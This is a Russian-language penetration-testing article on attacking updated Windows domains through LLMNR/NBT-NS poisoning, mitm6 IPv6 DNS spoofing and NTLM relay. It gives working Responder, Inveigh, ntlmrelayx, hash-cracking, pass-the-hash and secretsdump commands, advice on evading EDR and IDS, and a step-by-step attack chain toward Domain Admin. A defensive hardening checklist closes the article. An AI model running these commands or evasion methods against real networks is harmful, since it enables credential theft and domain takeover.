Статья Эксплуатация LLMNR/NBT-NS в обновлённых доменах

Снова. Опять. До боли знакомый сценарий, который повторяется из проекта в проект, как заезженная пластинка из 90-х.

Вот как это обычно выглядит. Рисуем сказку.

Прихожу к заказчику - солидная контора, логотип блестит, на стенах плакаты про «кибербезопасность - наш приоритет». Начинается вводный брифинг. Передо мной сидит вся их ИБ-команда: сетевик с умным видом, который рассказывает про микросегментацию, админ Windows, хвастающийся последними патчами от Microsoft, и какой-нибудь архитектор, сыплющий терминами вроде «Zero Trust» и «EDR с поведенческим анализом». Мне показывают диаграммы инфраструктуры: Windows Server 2022, Windows 11 на клиентах, все службы обновлены, Defender с кучей допов, ATP, бла-бла-бла. Финальный аккорд: «Мы провели харденинг по всем чек-листам CIS Benchmarks. У нас тут всё запечатано. Попробуй, поищи уязвимости». И в их глазах читается смесь вызова и уверенности - мол, мы не лыком шиты, сейчас этому выскочке-хакеру покажем.

А через два часа, иногда через четыре (если сети действительно большие), я уже сижу в их же конференц-зале, сдвинув свой ноут в сторону, и на большом экране через проектор медленно, как в триллере, ползут строки. Дампы хэшей. Десятки, иногда сотни. DOMAIN\j.smith, DOMAIN\svc_sql, DOMAIN\backup_admin… Привилегированные аккаунты, сервисные учётки, учетки менеджеров. А в углу терминала - безобидная строчка, которая стала началом конца: [LLMNR] Poisoned answer sent to 192.168.1.15 for name sharepoint.

И знаете, что самое смешное и печальное одновременно? Первоначальным вектором в 90% этих «непробиваемых» сред был не какой-нибудь свежий zero-day на Exchange, за который на черном рынке дают сотни тысяч. Не фишинг с гиперреалистичными письмами, написанными нейросетью и вскрывающими двухфакторную аутентификацию через утомление. Даже не скучный, но надёжный Kerberoasting с первого шага.

Это был он. Скромный, старый, всеми забытый, похороненный в сотнях гайдов «по харденингу» и тысячах статей на Хабре про «базовую гигиену» протокол. Труп под именем LLMNR/NBT-NS. Вернее, целых два трупа, которые держатся друг за дружку и продолжают шагать по сетям, пугая своей живучестью.

И этот труп, друзья мои, не просто дышит. Он активно разлагается, отравляя атмосферу доверия в, казалось бы, самых защищённых и современных доменах Active Directory. Прямо сейчас. Пока вы это читаете, в какой-нибудь «запечатанной» корпоративной сети рабочая станция бухгалтера Марии Ивановны пытается найти несуществующий принтер \\print05-fin и в отчаянии кричит об этом на весь сегмент. И там нет никого, кроме молчаливого сниффера, который тут же любезно отзывается: «Я print05-fin! Добро пожаловать, Мария. Можешь передать мне свой пароль?».

Все эти умники с Medium и корпоративных блогов, которые пишут «Отключайте LLMNR - это базовая гигиена!», живут в идеальном, стерильном мире PowerPoint 2016. В мире, где политики применяются мгновенно и на 100%, где нет легаси-оборудования, где сисадмины никогда не ошибаются, а бизнес-приложения не ломаются от отключения NetBIOS. В реальном мире эти протоколы не просто живут - они процветают. Их забывают. Их сознательно не отключают на всех устройствах, потому что «вдруг перестанет работать учётная система 1С 7-й версии». Их боятся тронуть, как боятся тронуть старую проводку в стене. Они включены где-то в глубине, на каком-нибудь стареньком промышленном принтере, МФУ, IoT-хламе от камер наблюдения, в скрипте входа, написанном в 2008 году, или просто в ветке групповых политик, которую завели при создании домена и благополучно забили на неё.

Мы пойдём от обратного.
Мы признаем суровую, грязную, но правдивую реальность: LLMNR/NBT-NS есть. Везде. Даже там, где их вроде бы нет. И это - наша дверь. Не потайная, не взломанная, а распахнутая настежь самими защитниками, которые просто не догуляли до ручки.

Это детальный и беспощадный разбор эксплуатации этого вектора в среде, которая считает себя неуязвимой. Мы разберём не только старые добрые Responder и Inveigh, но и современные, тихие, почти изящные техники, которые работают даже тогда, когда кажется, что все классические пути перекрыты. Мы поговорим про скрытый мир IPv6, который все игнорируют. Про кастомные сценарии, про обход новых «защит» вроде SMB Signing и LDAP Channel Binding, про тонкую настройку под конкретную сеть, про то, как не светиться, и, конечно, про полный арсенал практических инструментов - от проверенной классики до самописных скриптов на коленке, которые не детектит ни один антивирус.

Мы будем смотреть правде в глаза: админы ленивы, сети сложны, обратная совместимость - священная корова, а политики безопасности - это идеальная картинка, которая почти никогда не совпадает с суровой реальностью развёрнутой инфраструктуры. И в этих трещинах между идеалом и реальностью мы и будем жить.

---

Часть 1: Протоколы-призраки. Глубокое погружение в механику доверия, которой не должно существовать.​

Прежде чем мы начнём стрелять, нужно не просто увидеть мишень, а понять, из какого она материала, кто её сделал, почему она стоит именно здесь и почему её до сих пор не убрали. Это не сухая теория. Это - вскрытие трупа, чтобы понять причину смерти всей сети.

Давайте забудем на секунду про аббревиатуры. Представьте себе открытый офисное пространство, опенспейс. Сотни людей сидят за столами. И вот кто-то встаёт и кричит во весь голос: «Эй! Кто здесь Василий из бухгалтерии? Мне срочно нужно передать ему конфиденциальный пакет документов!».

Что происходит? Люди поднимают головы. И если Василий здесь, он откликается: «Я здесь! Кидай сюда!». А если Василия нет, или он не слышит, любой другой человек в этом зале может встать и сказать: «Я Василий! Давай сюда свои документы, я передам». И ему, с высокой долей вероятности, эти документы отдадут. Без паспорта, без вопросов.

NBT-NS (NetBIOS Name Service) - это и есть тот самый крик в опенспейс. Технология из каменного века сетей, из конца 80-х. Ей не просто 30 лет - она ровесница пейджеров и дискет. NetBIOS - это интерфейс для сетевого взаимодействия, а NBT (NetBIOS over TCP/IP) - это его адаптация для современных (относительно) стеков TCP/IP.

Как это работает технически:
Когда ваша Windows-машина хочет найти соседа по имени, например, FILESERVER, она не всегда бежит к DNS-серверу. Сначала она проверяет свой локальный кэш. Потом, если не нашла, она отправляет широковещательный (broadcast) запрос на UDP-порт 137. Это как тот крик в опенспейс. Запрос летит не конкретному адресату, а всем в вашем сетевом сегменте (broadcast-домене, обычно ограниченном VLAN или физической сетью).

Этот запрос прост до безобразия: «Ребята, кто тут FILESERVER? IP-то какой?». Легитимный FILESERVER, услышав своё имя, должен ответить: «Эй, это я! Мой IP - 192.168.1.10!».

Ключевые проблемы NBT-NS, вшитые в его ДНК:

1. Широковещание: Запрос виден всем в сегменте. Нет конфиденциальности.
2. Отсутствие аутентификации: В протоколе нет механизма, чтобы проверить, действительно ли ответивший - это тот, за кого он себя выдает. Нет цифровых подписей, нет сертификатов.
3. Принцип «кто первый»: Первый полученный ответ считается истиной. Никаких проверок на достоверность.
4. Статичность и кэширование: Полученный «ложный» ответ может быть закэширован системой на некоторое время, отравляя её восприятие сети.

LLMNR (Link-Local Multicast Name Resolution) - «новое» старое зло.
К середине 2000-х даже Microsoft поняла, что NetBIOS - это позор. С появлением Vista и Server 2008 они представили «современную» замену - LLMNR (RFC 4795). Он должен был работать в мире IPv6 и быть чуть лучше.

Он лучше? Чуть-чуть. Но суть та же.

• Работает на UDP-порту 5355.
• Использует multicast-адреса (например, FF02::1:3 в IPv6 или 224.0.0.252 в IPv4) вместо грубого broadcast. Но в типичной Ethernet-среде эти пакеты также доставляются всем хостам в сегменте, которые «подписались» на этот multicast. А Windows-машины подписаны.
• Опять-таки, никакой аутентификации. Снова принцип «кто первый ответил - тот и прав».

Почему эти протоколы до сих пор живы и включены ПО УМОЛЧАНИЮ?
Вот тут начинается политика и реальность. Отключите их глобально, и вы получите тонну заявок в службу поддержки:

1. Обратная совместимость (Legacy): Миллионы бизнес-приложений, написанных для Windows XP/2003, используют простой API для поиска ресурсов в сети. Они кричат WNetEnumResource или используют \\SERVERNAME. Они не понимают DNS-отказов. Им нужен ответ. Иначе приложение падает, скрипт не работает, отчёт не строится.
2. Сетевые «костыли»: В сетях с кривой DNS-инфраструктурой, с неверно настроенными reverse-зонами или в изолированных сегментах без своего DNS-сервера, LLMNR/NBT-NS - это спасательный круг. Он позволяет устройствам как-то найти друг друга.
3. Мультихомовые и изолированные сети: Ноутбук пользователя подключается к домашней сети, потом к корпоративной, потом к гостевому Wi-Fi в кафе. Везде разные DNS. LLMNR позволяет ему находить принтеры или медиа-устройства в локальной сети без сложных настроек.
4. Инерция и страх: Самая главная причина. «Работает - не трогай». Глубокая, животная боязнь сисадмина сломать что-то, что работает десятилетиями. Отключение NetBIOS - это как откручивание не глядя болта в двигателе старого автомобиля. А вдруг это что-то держит?

Механика катастрофы: от запроса имени к хэшу пароля.

А теперь смотрите, как это превращается в бомбу. Допустим, пользователь пытается открыть сетевую папку \\sharpoint (с опечаткой, sharepoint забыл e). Система делает:

1. Проверка кэша -> Не найдено.
2. Запрос к DNS-серверу -> «Нет такого имени».
3. Включён LLMNR: Отправляет multicast-запрос: «Кто sharpoint?».
4. Включён NBT-NS: Отправляет broadcast-запрос: «Кто SHARPOINT?».

Наш злоумышленник со скриптом Responder слышит этот крик. Он мгновенно (быстрее легитимного сервера, если бы он был) отвечает: «Я SHARPOINT! Мой IP - 192.168.1.666!».

Клиентская машина, получив ответ, радуется: «Ура, нашёл!». Она теперь уверена, что 192.168.1.666 - это нужный ей файловый сервер. Она инициирует с ним соединение по SMB (протокол обмена файлами).

И вот здесь - кульминация. Windows пытается аутентифицироваться на сервере. По умолчанию, она предлагает протокол NTLM (ещё один старичок, который тоже никуда не делся). Запускается так называемый NTLM Challenge-Response handshake:

• Клиент: «Привет, я DOMAIN\j.smith. Хочу подключиться».
• Сервер (наш злоумышленник): «Привет! Докажи. Вот тебе случайная строка (challenge).»
• Клиент: Берёт хэш пароля пользователя (NTLM hash), смешивает его с этой строкой-challenge, и вычисляет ответ (response). Этот ответ и отправляет «серверу».

Злоумышленник теперь имеет на руках:

1. Имя пользователя (DOMAIN\j.smith).
2. Случайную строку-challenge (которую он сам и сгенерировал).
3. Ответ (response), который является криптографическим производным от хэша пароля и этой строки.

Эта тройка данных (username::domain:challenge:response) - и есть тот самый NTLMv2 hash, который вы видите в логах Responder. Это не сам пароль, и не его прямой хэш. Это - доказательство знания пароля, привязанное к конкретному сеансу. И этого доказательства достаточно для двух страшных вещей:

1. Перебор (Brute-Force / Cracking): Зная challenge и response, можно в оффлайн-режиме перебирать пароли. Берёшь предположение пароля, вычисляешь от него NTLM-хэш, смешиваешь с challenge, получаешь предполагаемый response. Сравниваешь с тем, что перехватил. Совпало? Пароль угадан. Инструменты: Hashcat (режим -m 5600), John the Ripper.
2. Pass-the-Hash (PtH): В некоторых случаях (особенно со старыми версиями протокола или при определённых настройках) можно использовать этот захваченный хэш напрямую для аутентификации на других сервисах, не зная пароля. Система увидит корректный ответ на свой challenge и пустит вас. Это как если бы вы украли штамп в паспорте и ставили его на поддельных документах.

Итог по части 1:

LLMNR/NBT-NS - это не просто «устаревшие протоколы». Это системный сбой в модели доверия локальной сети Windows. Они реализуют наивный, деревенский принцип соседства, абсолютно неприемлемый в современном враждебном мире. Они существуют не из-за технической необходимости, а из-за человеческой лени, страха и тирании обратной совместимости.

Они превращают безобидную опечатку пользователя в компрометацию учётных данных домена. Они переводят проблему уровня «DNS не ответил» в плоскость «злоумышленник получил хэш».

И самое главное: они включены по умолчанию. И пока вы не доказали обратное для КАЖДОГО устройства в вашей сети, вы должны исходить из того, что они работают. Всегда. Везде.

Это фундамент, на котором строится всё остальное. Понимая эту хрупкую, гнилую основу, вы начинаете видеть сеть не как набор машин, а как поле, где постоянно звучат эти крики. А наше дело - научиться на них отвечать. Первыми.

---

Часть 2: Классика жанра. Инструменты и базовая эксплуатация.

Давайте перейдём к практике. Если вы хоть раз гуглили эту тему, то видели эти два имени.

1. Responder (by Laurent Gaffié)
Это альфа и омега. Легенда. Инструмент, который заставил весь мир заговорить о poisoning-атаках. Написан на Python. Что он делает?

• Прослушивает сетевой интерфейс.
• Ловит широковещательные запросы LLMNR/NBT-NS.
• Отвечает на них ДО того, как это сделает легитимный хост. «Я - тот, кого вы ищете!»
• Принимает входящие соединения SMB, HTTP, FTP, LDAP и т.д.
• В процессе аутентификации ловит NTLMv2 хэши и аккуратно складывает их в файлик.

Практика:
Качаем с GitHub. Запускаем на своей машине (Kali Linux, естественно) в целевой сети.

git clone https://github.com/lgandx/Responder.git
cd Responder
python3 Responder.py -I eth0 -dwv

• -I eth0 - интерфейс.
• -d - включить ответ на DNS запросы (тоже уязвимость, но другая история).
• -w - включить WPAD (ещё одна классическая атака).
• -v - подробный вывод.

Сидим и ждём. А ещё лучше - спровоцируем трафик. Зайдите на целевую машину (физически, или через RDP, или как-то ещё) и попробуйте обратиться к несуществующему ресурсу. Например, в проводнике:
\\sharepoint\ (с ошибкой) или \\fileserver01\ (если такого нет).

Смотрите в консоль Responder. Увидите магию:

[LLMNR] Poisoned answer sent to 192.168.1.15 for name sharepoint
[SMB] NTLMv2-SSP Client   : 192.168.1.15
[SMB] NTLMv2-SSP Username : DOMAIN\j.smith
[SMB] NTLMv2-SSP Hash     : j.smith::DOMAIN:1122334455667788:2CEC3B...

Хэш у вас в кармане. Можно нести его в Hashcat (-m 5600 для NTLMv2) и пытаться взломать. Если пароль слабый - вы получили учётку в домене.

2. Inveigh (by Kevin Robertson)
Powershell-версия Responder от бога PowerShell-пентеста. Её главное преимущество -она работает на Windows, прямо внутри домена. Не нужно тащить Linux-машину. Один скрипт - и вы уже слушаете и отравляете трафик.

## powershell

Import-Module .\Inveigh.ps1
Invoke-Inveigh -ConsoleOutput Y -LLMNR Y -NBNS Y -mDNS Y -FileOutput Y

Он делает то же самое, но чувствует себя как дома в среде Windows. Видит больше, может глубже интегрироваться. Идеален для тестов, где ваша точка входа - Windows-машина (например, через фишинг).

Что дальше с хэшами?

• Перебор (Brute-Force): hashcat -m 5600 hashes.txt rockyou.txt
• Пасс-театр (Pass-the-Hash): Если у вас есть хэш, вы можете использовать его для аутентификации на других системах, где у этого пользователя есть права. Инструменты: pth-winexe, smbclient с опцией --pw-nt-hash, Impacket's psexec.py.

pth-winexe -U DOMAIN/j.smith%aad3b435b51404eeaad3b435b51404ee:2CEC3B... //192.168.1.10 cmd.exe

(Здесь aad3b... - это пустой LM-хэш, а дальше - ваш NTLMv2 хэш в правильном формате для PtH)

Проблема классики: Админы стали умнее. Мало того что они (иногда) отключают LLMNR/NBT-NS, так ещё и:

1. Требуют подписанного SMB-трафика (SMB Signing).
2. Вводят сегментацию сети (broadcast-запросы не уходят за пределы VLAN).
3. Используют защищённые протоколы вроде LDAPS или SMB over HTTPS.
   В такой ситуации классический Responder поймает хэш, но не сможет его никуда передать (Relay), а перебор может затянуться надолго, если пароли сложные.

---

Часть 3: Современная реальность. Когда классика не работает.

А вот тут начинается то, о чём не пишут в коротких гайдах. Ваш домен «обновлён»? Отлично. Значит, скорее всего:

• SMB Signing требуется на серверах.
• LLMNR/NBT-NS отключены политикой на всех рабочих станциях и серверах.
• NTLM аутентификация ограничена в пользу Kerberos.
• Все сидят за L3-коммутаторами с изоляцией broadcast-доменов.

И что, игра окончена? Как бы не так. Ложка дёгтя в нашу пользу.

Факт 1: Политики применяются неидеально. Всегда найдётся:

• Ноутбук сотрудника, который неделю был оффлайн и не получил политику.
• Устройство IoT (типа умной доски или принтера), не входящее в домен.
• Виртуальная машина в изолированном сегменте для тестирования.
• Компьютер сотрудника из приобретённой компании, который ещё не интегрировали в домен полностью.
• Просто ошибка в фильтре групповой политики (WMI-фильтр), из-за которой политика отключения не применилась к половине отдела.

Факт 2: SMB Signing required только на серверах. На рабочих станциях по умолчанию он disabled. Проверить это можно с помощью crackmapexec:

crackmapexec smb 192.168.1.0/24 --gen-relay-list targets.txt

Этот список (targets.txt) - машины, где SMB Signing отключён, и на них можно ретранслировать атаку (Relay). И их в среднем по больнице >70%.

Факт 3: Отключение LLMNR/NBT-NS на клиентах не отменяет их работу в сети! Если на каком-то устройстве (тот же принтер) они включены, оно будет кричать в сеть. И ваш инструмент может отвечать ему.

Но главный козырь 2020-х - это IPv6.

---

Часть 4: IPv6 - троянский конь в современном домене.

Большинство «обновлённых» доменов Windows включили поддержку IPv6. Но не используют её активно. Сети часто dual-stack (IPv4 + IPv6). И вот тут таится красота.

Протокол ICMPv6 Router Advertisement (RA) используется для автоматической настройки сети (SLAAC). Злоумышленник может объявить себя главным маршрутизатором (Default Gateway) для IPv6. И что тогда? Клиенты начнут направлять часть своего трафика (включая запросы на аутентификацию) через него.

Инструмент: mitm6 (by Fox-IT)
Гениальный инструмент, который использует эту слабость. Он:

1. Запускает IPv6 DNS-сервер.
2. Рассылает зловредные Router Advertisements.
3. Когда клиент ищет что-то через DNS (например, при запуске Windows, при обращении к скриптам входа, WPAD), mitm6 отвечает: «Искомый ресурс - это я!».
4. Клиент пытается аутентифицироваться на злоумышленника, отправляя NTLMv2 хэш.

Но фишка в связке: mitm6 + NTLM Relay (например, ntlmrelayx.py из Impacket).

Сценарий атаки в «обновлённом» домене:

1. У вас есть точка опоры в сети (любая машина, даже без доменных учётных данных).
2. Запускаете mitm6, чтобы перехватывать DNS-запросы по IPv6.
3. Параллельно запускаете ntlmrelayx.py, который будет принимать перехваченные сессии NTLM и ретранслировать их на целевые машины, где отключён SMB Signing.
4. Ждёте. Системы сами начнут делать DNS-запросы (обновления групповых политик, скрипты входа, случайные фоновые процессы).
5. Когда хэш перехвачен и ретранслирован на уязвимую машину, вы получаете на ней выполнение кода (например, запускаете cmd.exe от имени того пользователя, чей хэш перехватили).

Команды:

# Терминал 1: Запускаем mitm6, отравляем DNS
python3 -m mitm6 -d domain.local -i eth0

# Терминал 2: Запускаем ретранслятор. Указываем список целей (где SMB Signing отключён) и команду для выполнения
python3 ntlmrelayx.py -6 -t smb://192.168.1.50 -tf targets.txt -socks -smb2support -c "powershell -enc <ваша_закодированная_команда>"

• -6 - слушать по IPv6.
• -t / -tf - цели для ретрансляции.
• -socks - создаст SOCKS-прокси на основе перехваченных сессий (мощнейшая фича для дальнейшего перемещения!).
• -c - команда для выполнения на целевой машине после успешной ретрансляции.

Почему это работает в обновлённом домене?

• Политики отключения LLMNR/NBT-NS не влияют на IPv6/DNS.
• Защита от Relay через SMB Signing обходится, потому что мы ретранслируем на рабочие станции, где он по умолчанию выключен.
• Атака пассивна. Вы ничего не шлёте активного. Вы просто отвечаете на запросы, которые системы делают сами. Это сложно детектировать IDS/IPS.

---

Часть 5: Продвинутые техники и инструменты.

1. Кастомные LLMNR/NBT-NS серверы.
Responder и Inveigh - отличны, но их «отпечатки» известны системам защиты (EDR, Network Sensors). Можно написать свой простой сервер на Python (с использованием библиотек scapy или socket), который будет вести себя менее агрессивно, имитировать задержки, чтобы быть похожим на легитимный ответ. Иногда тишина - лучшая маскировка.

Пример заготовки на Python (очень упрощённо):

from scapy.all import *
import struct

def handle_llmnr(pkt):
    if pkt.haslayer(UDP) and pkt.dport == 5355 and pkt.haslayer(LLMNRQuery):
        qname = pkt[LLMNRQuery].qname.decode('utf-8').rstrip('.')
        # Отвечаем только на конкретные имена, чтобы не светиться
        if "TARGET" in qname.upper():
            # ... формируем отравляющий ответ ...
            send(...)

2. Атака через WPAD (Web Proxy Auto-Discovery).
Windows по умолчанию ищет прокси-сервер с именем WPAD. Этот запрос идёт через LLMNR/NBT-NS/DNS. Если вы ответите, что вы - WPAD, и предложите прокси-скрипт (wpad.dat), то браузер (а иногда и системные процессы) направят через вас трафик, включая аутентификационные запросы. Responder и mitm6 умеют это делать автоматически.

3. Relay на другие протоколы.
Не только SMB. Современный ntlmrelayx.py умеет ретранслировать на:

• LDAP/LDAPS: Для выполнения операций в Active Directory (чтение данных, изменение групп, включая добавление пользователей в Domain Admins!).
• MSSQL: Для выполнения SQL-запросов.
• HTTP/HTTPS: Для доступа к веб-приложениям (OWA, Sharepoint).
• IMAP/POP3/SMTP: Для доступа к почте.

Команда для Relay на LDAP с опасными последствиями:

python3 ntlmrelayx.py -t ldaps://dc.domain.local -wh attacker-wpad.domain.local --add-computer --delegate-access

Эта команда, при успешной ретрансляции сессии привилегированного пользователя (например, из группы «Server Operators»), может:

• --add-computer - создать компьютерный аккаунт в AD (ещё одна точка входа).
• --delegate-access - настроить неограниченное делегирование для этого аккаунта, что откроет путь к компрометации контроллера домена.

4. Сочетание с другими векторами.

• PetitPotam / Printer Bug: Эти техники заставляют контроллер домена аутентифицироваться на ваш сервер. Раньше их использовали для принуждения NTLM-аутентификации с DC. Сейчас патчи стоят, но в гибридных или не до конца обновлённых средах могут сработать.
• DNS-атаки: Отравление DNS-кэша - более сложный, но мощный вектор, чтобы направлять жертв к вам.

---

Часть 6: Обход защит и детектирования.

EDR / Антивирусы: Они часто детектят известные скрипты (Responder, Inveigh) по сигнатурам в памяти или по сетевой активности. Решения:

• Обфускация: Использовать инструменты в виде скомпилированных бинарников (например, переписать логику на C++ или Go). Существуют порты Responder на Go.
• Живи с земли (Living off the land): Использовать встроенные в Windows средства для создания LLMNR/NBNS-сервера - сложно, но возможно через низкоуровневое программирование сокетов и регистрацию служб.
• Распределение функционала: Один скрипт только слушает, другой только отвечает. Минимизирует профиль.

Сетевые детекторы (IDS/IPS): Ищут известные паттерны отравления.

• Изменение TTL (Time-To-Live): В ответных пакетах можно ставить TTL, как у легитимных систем в сети.
• Соблюдение таймингов: Не отвечать мгновенно, добавлять случайную задержку в рамках нормы.
• Корректные флаги: Внимательно копировать все технические флаги из оригинальных ответов систем.

Защита Microsoft:

• SMB Signing: Мы обходим, атакуя рабочие станции.
• LDAP Signing & Channel Binding: Для атаки на LDAPS нужно, чтобы у жертвы не был настроен Channel Binding (к счастью, это часто так). Для обычного LDAP можно использовать relay, если не требуется подпись.
• EPA (Extended Protection for Authentication): Защищает от Relay на веб-сервисы. Но не все сервисы её включили. И она бесполезна против Relay на SMB или LDAP к другим целям.

Лучшая защита для нас (как атакующих) - тишина и понимание. Мониторьте сеть, прежде чем атаковать. Узнайте, есть ли в ней средства обнаружения. Запустите свой LLMNR-запрос и посмотрите, кто и как на него отвечает. Используйте пассивные методы сбора информации (прослушивание) перед активным отравлением.

---

Часть 7: Практическая лаборатория. Полный сценарий.

Давайте смоделируем атаку на «обновлённый» домен с нуля.

Цель: Получить футхолд в домене MODERNDOMAIN.LOCAL.
Исходные данные: У вас есть физический доступ к сети (или вы проложили туннель через компрометированную VPN-сессию). У вас нет учётных данных домена.

Шаг 0: Разведка.

# Сканируем сеть, находим живые хосты, определяем ОС и SMB Signing
nmap -sS -T4 192.168.15.0/24
crackmapexec smb 192.168.15.0/24 --gen-relay-list relay_targets.txt
crackmapexec smb 192.168.15.0/24 -u '' -p '' --sam # Ищем анонимный доступ к SMB

Шаг 1: Провокация и пассивное прослушивание.

# Вариант A (если есть подозрение, что LLMNR/NBT-NS включены)
python3 Responder.py -I eth0 -dwv
# И ждём... или провоцируем запросы (фишинг-письмо с битой ссылкой на \\budget-2024\)

Шаг 2: Атака через IPv6 (наш основной вектор).

# Терминал 1 - Запускаем mitm6
python3 -m mitm6 -d MODERNDOMAIN.LOCAL -i eth0

# Терминал 2 - Запускаем NTLM Relay на выбранные цели
python3 ntlmrelayx.py -6 -tf relay_targets.txt -socks -smb2support -l /tmp/loot
# Ключ -socks создаст прокси. Мы сможем подключаться к машинам от имени перехваченных пользователей.

Шаг 3: Использование результатов.
Допустим, мы перехватили сессию пользователя MODERNDOMAIN\svc_backup. В терминале ntlmrelayx появится сообщение:

[*] SMBD-Thread-5: Received connection from 192.168.15.20, attacking target smb://192.168.15.75
[*] Authenticating against smb://192.168.15.75 as MODERNDOMAIN\svc_backup SUCCEED
[*] SOCKS: Adding user MODERNDOMAIN\svc_backup (192.168.15.20) for target 192.168.15.75

Теперь мы можем использовать SOCKS-прокси (по умолчанию на порту 1080) через proxychains.

Шаг 4: Перемещение и эскалация.

# Используем crackmapexec через наш SOCKS для дальнейшей разведки с учётными данными
proxychains crackmapexec smb 192.168.15.75 -u svc_backup -p 'пароль_или_хэш' --shares
proxychains crackmapexec smb 192.168.15.75 -u svc_backup -p '...' --sam # дамп локальных хэшей
proxychains impacket-secretsdump MODERNDOMAIN/svc_backup:'password'@192.168.15.75

Если svc_backup имеет права локального администратора на этой машине (а такие сервисные аккаунты часто их имеют), мы дампим локальные учётные записи и, возможно, кэшированные доменные (DCC2) хэши. Если повезёт, и эта машина когда-то входила в домен под учёткой администратора, мы можем получить её хэш.

Шаг 5: До Domain Admin.
С помощью перехваченных или взломанных хэшей мы продолжаем движение, используя те же техники или другие (например, Kerberoasting, если получили обычный аккаунт домена). Цель - найти учётную запись с привилегиями на контроллере домена.

---

Часть 8: Защита. Как по-настоящему закрыть эту дверь (что мы, как атакующие, не хотим видеть).

Да, мы должны быть честными. Если вы сисадмин, читающий это, вот ваш чек-лист. Реальный, без воды.

1. Глобальное отключение LLMNR:
   • Групповая политика: Computer Configuration -> Administrative Templates -> Network -> DNS Client -> Turn off multicast name resolution -> Enabled.
2. Глобальное отключение NBT-NS (NetBIOS over TCP/IP):
   • Это делается на уровне сетевого интерфейса, но политикой можно управлять через шаблоны безопасности или скрипты.
   • ГП: Computer Configuration -> Policies -> Administrative Templates -> Network -> DNS Client -> Turn off NetBIOS name resolution (не во всех версиях).
   • Лучший способ: Настроить DHCP-сервер на выдачу опции Microsoft Disable Netbios Option (0x001B) со значением 0x2. Или отключать вручную на каждом интерфейсе: NIC Properties -> TCP/IPv4 -> Advanced -> WINS -> Disable NetBIOS over TCP/IP.
3. Включить SMB Signing на ВСЕХ машинах, включая рабочие станции.
   • Да, будет небольшая нагрузка на CPU. Нет, пользователи не заметят. Да, это остановит SMB Relay полностью.
   • ГП: Computer Configuration -> Windows Settings -> Security Settings -> Local Policies -> Security Options -> Microsoft network client: Digitally sign communications (always) -> Enable.
   • Microsoft network server: Digitally sign communications (always) -> Enable.
4. Ограничить использование NTLM. Требовать Kerberos.
   • Использовать политики ограничения NTLM (NTLM Block / Audit policies). Особенно на критичных серверах (DC, SQL, Exchange).
   • Но делайте это осторожно, чтобы не сломать приложения.
5. Борьба с IPv6-атаками:
   • Если IPv6 не используется: Самый радикальный и надёжный способ - отключить IPv6 на интерфейсах всех машин. Не только на DNS-серверах, а везде. Особенно на рабочих станциях.
   • Если IPv6 используется: Настроить RA Guard на сетевом оборудовании (Cisco, Aruba и т.д.), чтобы запрещать несанкционированные Router Advertisements. Это сложно, но необходимо.
6. Сегментация сети.
   • Разделите VLAN'ами разные типы устройств: пользователи, серверы, инфраструктура, IoT. Это ограничит широковещательный трафик.
7. Мониторинг.
   • Ищите в логах (например, через Sigma rules) множественные LLMNR/NBT-NS ответы от одного IP.
   • Ищите события Windows 4624 (успешный вход) с типом входа 3 (Network) с необычных IP-адресов (ваш Relay-сервер).
   • Мониторьте сеть на наличие запросов WPAD и LLMNR от серверов (они не должны этого делать).

---

Почему этот труп будет дышать вечно, и что это значит для нас

Мы прошли долгий путь от теоретических основ до сложных сценариев с IPv6 и SOCKS-прокси. Давайте теперь отойдём от терминалов и роутеров и посмотрим на картину целиком.

Это - патологоанатомическое исследование хронической болезни экосистемы Windows. Болезни под названием «Слепое доверие в локальном сегменте».

1. Фундаментальный, а не поверхностный изъян.
Большинство уязвимостей -это ошибки в коде: переполнение буфера, race condition, ошибка логики. Их можно исправить патчем. LLMNR/NBT-NS poisoning -это не уязвимость в классическом понимании. Это ожидаемое поведение устаревших, но функциональных протоколов. Microsoft не может их «запатчить», не сломав миллионы бизнес-процессов, которые тихо и незаметно полагаются на то, что \\старый-сервер как-нибудь да найдётся.

Поэтому все «защиты» - это костыли вокруг костыля. Отключить через GPO. Включить SMB Signing. Запретить NTLM. Это не лечение болезни, а попытка наложить гипс на треснувшую фундаментную балку. И, как мы увидели, в реальном мире эти гипсы кривые, поставленные не везде и часто трескаются сами. Потому что ИТ - это про то, чтобы работало «здесь и сейчас». А совместимость всегда побеждает безопасность в бою за бюджет и время админа, у которого горят двадцать других задач.

2. Парадокс «обновлённого» домена.
В этом вся ирония. Чем более «современным» и «обновлённым» становится домен, тем более он уязвим для продвинутых вариаций этой атаки. Раньше это был шумный и грубый Responder во всему broadcast-домену. Теперь это - тихая, хитрая, пассивная атака через IPv6, которую даже не все средства мониторинга понимают.

Администраторы, гордо отключающие LLMNR и NBT-NS, часто даже не смотрят в сторону IPv6. Они думают: «У нас же нет IPv6-сети!». Но он есть. Он включён по умолчанию. И он создаёт идеальную, тихую тень, в которой можно вести отравление, пока все следят за IPv4. Современная защита порождает современные векторы атаки. Мы просто мигрируем вместе с инфраструктурой, находя новые щели в старых стенах.

3. Это - атака на человеческий фактор и сложность.
Давайте будем откровенны: даже если в головном офисе гениальный архитектор прописал и внедрил все меры защиты, в филиале в другом городе этим будет заниматься уставший сисадмин, который также отвечает за принтеры и Wi-Fi. Он не отключит NetBIOS на том самом древнем сканере, потому что «вдруг перестанет работать», а разбираться некогда. Он пропустит политику на ноутбук директора филиала, потому что тот вечно в разъездах. Он не станет включать SMB Signing на всех рабочих станциях, боясь звонков от бухгалтерии.

Эта атака эксплуатирует не слабость железа или софта, а слабость управления сложной распределённой системой. Она нацелена на разрыв между политикой центра и реальностью на местах. И этот разрыв всегда будет. Всегда.

4. Философия «тихого канала».
Что нам, как тестировщикам (или, кашель, как другим заинтересованным сторонам), даёт этот вектор? Это не просто способ получить хэш. Это - философия минимального шума.

В отличие от громкого эксплойта, который кричит в логи, или фишинга, который требует взаимодействия человека, атака на LLMNR/NBT-NS/mDNS/mitm6 - это подслушивание. Вы не ломаете дверь. Вы не обманываете охраника. Вы сидите в вентиляции и слушаете, как люди в комнате сами громко называют свои пароли, пытаясь докричаться до кого-то. Вы не атакуете. Вы предлагаете услугу (разрешение имени), и система с благодарностью отдаёт вам свои секреты.

Это делает атаку невероятно устойчивой к детекту. Вы не посылаете пакеты, вы на них отвечаете. Вы становитесь частью фонового шума сети.

5. Бесконечная игра «кошки-мышки» (где мы - чаще мыши, но умные).
Защита не стоит на месте. Появляются:

• EPA (Extended Protection for Authentication) для веб-сервисов.
• Более строгие политики Channel Binding.
• WDAC (Windows Defender Application Control) может блокировать запуск неподписанных бинарников вроде нашего Python-скрипта.
• Сетевые сенсоры, ищущие паттерны отравления.

Наш ответ? Адаптация и глубина понимания.

